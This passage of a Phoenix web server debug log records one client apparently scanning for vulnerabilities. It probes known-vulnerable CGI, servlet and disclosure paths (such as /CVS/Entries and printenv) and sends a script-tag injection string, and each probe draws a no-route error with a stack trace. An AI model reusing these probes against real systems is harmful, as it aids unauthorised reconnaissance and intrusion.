    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:36.859000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42114] GET /management/login
[Thu Sep  3 08:19:36.884000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42114] ** (Phoenix.Router.NoRouteError) no route found for GET /management/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:37.724000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42120] GET /cgi-bin/wa.cgi
[Thu Sep  3 08:19:37.731000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42120] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:37.766000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42132] GET /
[Thu Sep  3 08:19:37.766000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:42132] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:37.767000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42132] Sent 200 in 956µs
[Thu Sep  3 08:19:38.366000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42132] GET /devinfo
[Thu Sep  3 08:19:38.387000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42132] ** (Phoenix.Router.NoRouteError) no route found for GET /devinfo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:39.068000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42148] GET /ayefeaturesconvert.js
[Thu Sep  3 08:19:39.097000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42148] ** (Phoenix.Router.NoRouteError) no route found for GET /ayefeaturesconvert.js (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:40.017000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42150] GET /
[Thu Sep  3 08:19:40.017000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:42150] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:40.018000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42150] Sent 200 in 874µs
[Thu Sep  3 08:19:43.434000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43214] GET /cgi-bin/wa.exe
[Thu Sep  3 08:19:43.451000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43214] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/wa.exe (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:44.101000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43226] GET /
[Thu Sep  3 08:19:44.103000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43226] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:44.104000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43226] Sent 200 in 2ms
[Thu Sep  3 08:19:46.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43236] GET /CVS/Entries
[Thu Sep  3 08:19:46.616000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43236] ** (Phoenix.Router.NoRouteError) no route found for GET /CVS/Entries (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:49.127000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43250] GET /cgi-bin/whois.cgi
[Thu Sep  3 08:19:49.142000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43250] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin/whois.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:51.595000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43252] GET /
[Thu Sep  3 08:19:51.597000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:43252] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:19:51.597000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43252] Sent 200 in 2ms
[Thu Sep  3 08:19:52.247000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43264] GET /index.html
[Thu Sep  3 08:19:52.266000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43264] ** (Phoenix.Router.NoRouteError) no route found for GET /index.html (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:52.289000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:43252] GET /rest-service/reviews-v1/versionInfo
[Thu Sep  3 08:19:52.305000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:43252] ** (Phoenix.Router.NoRouteError) no route found for GET /rest-service/reviews-v1/versionInfo (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:53.903000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51446] GET /<script>foo</script>
[Thu Sep  3 08:19:53.918000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51446] ** (Phoenix.Router.NoRouteError) no route found for GET /<script>foo</script> (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:55.794000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51452] GET /cgi-bin-sdb/printenv
[Thu Sep  3 08:19:55.803000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51452] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-bin-sdb/printenv (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:19:59.792000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51454] GET /popuplargeimage.asp
[Thu Sep  3 08:19:59.810000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51454] ** (Phoenix.Router.NoRouteError) no route found for GET /popuplargeimage.asp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:00.212000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51470] GET /servlet/webacc
[Thu Sep  3 08:20:00.253000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51470] ** (Phoenix.Router.NoRouteError) no route found for GET /servlet/webacc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:02.728000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:51474] GET /cgi-mod/index.cgi
[Thu Sep  3 08:20:02.785000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:51474] ** (Phoenix.Router.NoRouteError) no route found for GET /cgi-mod/index.cgi (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:20:03.849000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:46462] GET /crossdomain.xml
[Thu Sep  3 08:20:03.917000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:46462] ** (Phoenix.Router.NoRouteError) no route found for GET /crossdomain.xml (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
